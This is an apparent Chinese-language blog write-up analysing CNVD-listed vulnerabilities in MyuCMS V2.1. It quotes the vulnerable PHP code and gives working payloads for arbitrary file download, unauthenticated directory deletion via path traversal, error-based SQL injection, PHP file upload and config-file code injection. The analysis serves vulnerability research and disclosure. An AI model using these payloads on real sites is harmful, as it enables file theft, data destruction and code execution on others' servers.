前言
在CNVD看到一個MyuCMS的一個任意文件刪除漏洞。然后去搜了下這個CMS,發現官網公告顯示在V2.2.3版本修復了CNVD提供的多處漏洞。
懷着好奇的心里,去CNVD搜了下這個CMS,結果發現V2.1版本存在多處高危漏洞。既然這樣,就來分析下這些漏洞產生的原因和利用方式。
過程分析
MyuCMS_V2.1 基於 Thinkphp 5.0.24 開發。下載鏈接可以在官方社區找到。
前台任意文件下載
既然是文件下載,先在整個項目中搜索下 download 關鍵字,嘗試看看能不能直接定位到關鍵代碼。
通過搜索定位到 bbs 模塊下的 Index 控制器的 download 方法。
download 方法接受三個參數,這三個參數我們是完全可控的,單從 download 這個方法來看,無任何參數內容限制,直接將 $url 和 $name 兩個參數傳遞給了 Http 類的 download 方法來執行下載。
若 Http->download() 方法中還未對參數內容進行限制,便會造成任意文件下載漏洞。
接下來,我們跟進 Http->download() 方法。
static public function download ($filename, $showname='',$content='',$expire=180) {
if(is_file($filename)) { //判斷 $filename 是否為文件 $length = filesize($filename); // 獲取 $filename 的文件大小 }elseif($content != '') { $length = strlen($content); }else { throw_exception($filename.L('下載文件不存在!')); // 若文件不存在拋出異常 } if(empty($showname)) { $showname = $filename; // $showname 為下載后文件的名稱。若未設置則與被下載文件同名 } $showname = basename($showname); //獲取路徑中的文件名部分 if(!empty($filename)) { $type = mime_content_type($filename); //獲取文件的MIME類型 }else{ $type = "application/octet-stream"; } //發送Http Header信息 開始下載 header("Pragma: public"); header("Cache-control: max-age=".$expire); //header('Cache-Control: no-store, no-cache, must-revalidate'); header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT"); header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT"); header("Content-Disposition: attachment; filename=".$showname); header("Content-Length: ".$length); header("Content-type: ".$type); header('Content-Encoding: none'); header("Content-Transfer-Encoding: binary" ); if($content == '' ) { readfile($filename); // 讀取文件內容並輸出,從而實現下載 }else { echo($content); } exit(); }
由如上代碼我們可以看出,Http->download() 方法中同樣未對傳入的參數進行內容限制,只實現了下載的業務邏輯。
此處任意文件下載,結合 phar 反序列化,還可以造成任意文件刪除和任意文件寫入(僅linux下)。這兩條反序列化利用鏈在先知和安全客上都已經有大佬分析的很好了,有興趣的師傅直接看下面鏈接就行。
MyuCMS<=v2.2.1反序列化
ThinkPHP v5.0.x 反序列化利用鏈挖掘
Payload
所以,由此可以得出任意文件下載的payload。
Payload: http://xxxxxxxxx/bbs/index/download?url=application/database.php&name=&local=1
Payload: http://xxxxxxxxx/bbs/index/download?url=c:/windows/win.ini&name=&local=1
任意目錄刪除漏洞
在CNVD上看到的是任意文件刪除。但我發現的是一個任意目錄刪除,並不能只刪除單獨一個文件。可能此處所說的任意文件刪除就是MyuCMS<=v2.2.1反序列化此處分析的利用反序列化鏈來進行任意文件刪除吧。
因為漏洞描述是任意文件刪除,所以先全文搜索 unlink 函數,定位到存在文件刪除功能的代碼段。
定位到 application/common.php 中的 deleteun 函數
function deleteun($dir_name)
{ $result = false; if (is_dir($dir_name)) { // 判斷是否為目錄 if ($handle = opendir($dir_name)) { // 打開目錄 while (false !== ($item = readdir($handle))) { // 通過這個 while 遍歷目錄中的文件 if ($item != '.' && $item != '..') { if (is_dir($dir_name . DS . $item)) { // 若遍歷到的文件為子目錄,則遞歸調用deleteun deleteun($dir_name . DS . $item); } else { unlink($dir_name . DS . $item); // 刪除遍歷到的文件 } } } closedir($handle); // 關閉文件夾 if (rmdir($dir_name)) { // 刪除該目錄 $result = true; } } } return $result; }
根據 deleteun 函數的實現代碼來看,我們可以看到該函數中對傳入的參數無任何限制。
然后在整個項目中搜索,看哪個文件中調用了 deleteun 函數。
發現總共三處兩個文件調用了該函數,且這三處代碼內容相同,只不過是傳遞給的 deleteun 函數的參數不同,我們可以判斷出,這三處都可以觸發任意目錄刪除漏洞。
這三處的不同之處在於。Muban.php 繼承了 Common 類,在 Common 類中實現了對於是否已經登錄的驗證。實現代碼如下。
public function _initialize(){
if(!session('usermail') || !session('kouling')){ $this->error('請登錄',url('login/index')); print s(); } }
而 Addons.php 繼承自 AdminBase 類,且初始化時執行父類 AdminBase 的 _initialize() 方法,在 AdminBase 類中調用了父類 Controller 的 _initialize() 方法。而父類的 Controller 的 _initialize(); 方法的實現內容為空。
所以 Addons.php 在未登錄的情況下也可以訪問。這意味我們不需要登錄后台也可以觸發任意目錄刪除漏洞。
Payload
所以給出 Payload 如下,即可刪除整個 install 目錄
Payload: http://xxxxxxxxx/admin/Addons/un?info=../install
SQL注入漏洞
在 CNVD 上的描述為,MyuCMS us***_xi***.html頁面存在SQL注入漏洞
通過對整個項目文件的搜索,最終確定為 user_xiaoxi.html 文件。
該視圖文件,對應的控制器為 application/bbs/controller/User.php 。顯示消息為 User->xiaoxi() 方法。該方法中無用戶可控參數。所以注入不可能在此方法中。
如圖所示功能處可將未讀消息更改為已讀消息。同時我們抓包觀察。未讀消息為其他用戶在登錄用戶發布的文章下留言所產生。
可以發現,該功能對應的路由地址,以及所提交的參數。我們找到路由地址對應的方法為 User->xiaoxidel() 代碼如下
public function xiaoxidel($ids)
{ if (!session('userid') || !session('username')) { // 進行登錄判斷 $this->error('親!請登錄',url('bbs/login/index')); } else { if ($ids==0) { // 根據 ids 參數來判斷執行的動作為標記消息還是刪除消息 $id = input('id'); // 通過input助手函數獲取需要操作的消息對應的 id $data['open'] = 1; if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) { // 此處第一個 where() 使用字符串條件時沒有配合預處理機制,所以會直接將 id=$id 拼接到SQL語句中。從而造成了SQL語句可控,形成注入。此處可以進行DEBUG,看到最好的SQL語句是如何拼接的。 return json(array('code' => 200, 'msg' => '標記已讀成功')); } else { return json(array('code' => 0, 'msg' => '標記已讀失敗')); } }elseif ($ids==1){ $id = input('id'); if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) { return json(array('code' => 200, 'msg' => '徹底刪除成功')); } else { return json(array('code' => 0, 'msg' => '徹底刪除失敗')); } } } }
上述代碼中,where() 方法使用字符串條件,但並沒有執行預編譯。其實針對字符串條件,官方手冊是做了說明的,顯然這里沒有遵守官方手冊的意見,所以造成了SQL注入。
Payload
Payload如下
Payload: id=2) and updatexml(1,concat(0x7e,(select database()),0x7e),1) and (1
在下圖所示位置打上斷點,即可查執行的SQL語句
文件上傳漏洞
CNVD 上對應的標題為 myucms fo***.php頁面存在文件上傳漏洞
搜索項目中fo開頭的文件,定位到 application/admin/controller/Forum.php 中的 doUploadPic 方法
public function doUploadPic()
{ $file = request()->file('FileName'); $info = $file->move(ROOT_PATH . DS . 'uploads'); if($info){ $path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName(); echo str_replace("\\","/",$path); } }
可以看到上述代碼調用了 Thinkphp 內置的 move 方法來對上傳的文件進行處理。但是在調用 move 方法前未調用 validate() 方法來設置驗證規則。以至於此處形成了任意文件上傳漏洞。
Payload
根據 doUploadPic() 方法構建 Payload數據包 如下:
POST /admin/forum/doUploadPic HTTP/1.1
Host: www.myu.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------18467633426500
Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904
Upgrade-Insecure-Requests: 1
Content-Length: 206
-----------------------------18467633426500
Content-Disposition: form-data; name="FileName"; filename="1.php"
Content-Type: image/jpeg
<?php phpinfo(); ?>
-----------------------------18467633426500--
命令執行
CNVD上沒有說明存在的頁面。我找到的是一處能控制 extre/web.php 內容的漏洞。
漏洞成因是使用 file_put_contents 函數更新 extre 下配置文件的內容時,未對參數內容做驗證,而直接通過循環遍歷,拼接到了php后綴的配置文件中。
相同原理漏洞影響3個文件共5處。分別為 application/admin/controller/Config.php, application/admin/controller/Muban.php ,application/admin/controller/Point.php
此處以 application/admin/controller/Config.php 下的 add() 方法為例分析
public function add()
{ $path = 'application/extra/web.php'; $file = include $path; // $file 的內容為 web.php 中返回的配置數組的值 $config = array( // 讀取 post 中提交的配置內容 'WEB_RXT' => input('WEB_RXT'), 'WEB_GL' => input('WEB_GL'), 'WEB_REG' => input('WEB_REG'), 'WEB_TAG' => input('WEB_TAG'), 'WEB_OPE' => input('WEB_OPE'), 'WEB_BUG' => input('WEB_BUG'), 'WEB_BBS' => input('WEB_BBS'), 'WEB_SHOP' => input('WEB_SHOP'), 'WEB_INDEX' => input('WEB_INDEX'), 'WEB_KEJIAN' => input('WEB_KEJIAN'), 'WEB_KEJIANS' => input('WEB_KEJIANS'), 'Cascade' => input('Cascade'), //七牛 'bucket' => input('bucket'), 'accessKey' => input('accessKey'), 'secrectKey' => input('secrectKey'), 'domain' => input('domain'), 'qiniuopen' => input('qiniuopen'), ); $res = array_merge($file, $config); // 合並兩個數組 $str = '<?php return ['; foreach ($res as $key => $value) { // 循環數組,生成新的配置內容 $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ','; } $str .= ']; '; if (file_put_contents($path, $str)) { // 將配置內容寫入 web.php 文件 return json(array('code' => 200, 'msg' => '修改成功')); } else { return json(array('code' => 0, 'msg' => '修改失敗')); } }
Payload
Payload數據包如下:
POST /admin/config/add.html HTTP/1.1
Host: www.myu.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 327
Origin: http://www.myu.io
Connection: close
Referer: http://www.myu.io/admin/config/index.html
Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904; XDEBUG_SESSION=XDEBUG_ECLIPSE
WEB_KEJIAN=0&WEB_KEJIANS=0&WEB_INDEX=bbs',phpinfo(),'&WEB_RXT=rar,png,zip,jpg,gif,ico,7z&qiniuopen=0&secrectKey=0&accessKey=0&domain=0&bucket=0&Cascade=1&WEB_BUG=true&WEB_REG=1&WEB_OPE=1&WEB_GL=0&WEB_BBS=1&WEB_SHOP=1&WEB_TAG=%e6%8f%92%e4%bb%b6%2c%e5%bb%ba%e8%ae%ae%2c%e6%a8%a1%e6%9d%bf%2c%e7%ad%be%e5%88%b0%2c%e5%8f%8d%e9%a6%88
寫入的內容和效果如下:
結束
限於水平有限,有些 CNVD 上有記錄到的洞沒分析到,望海涵。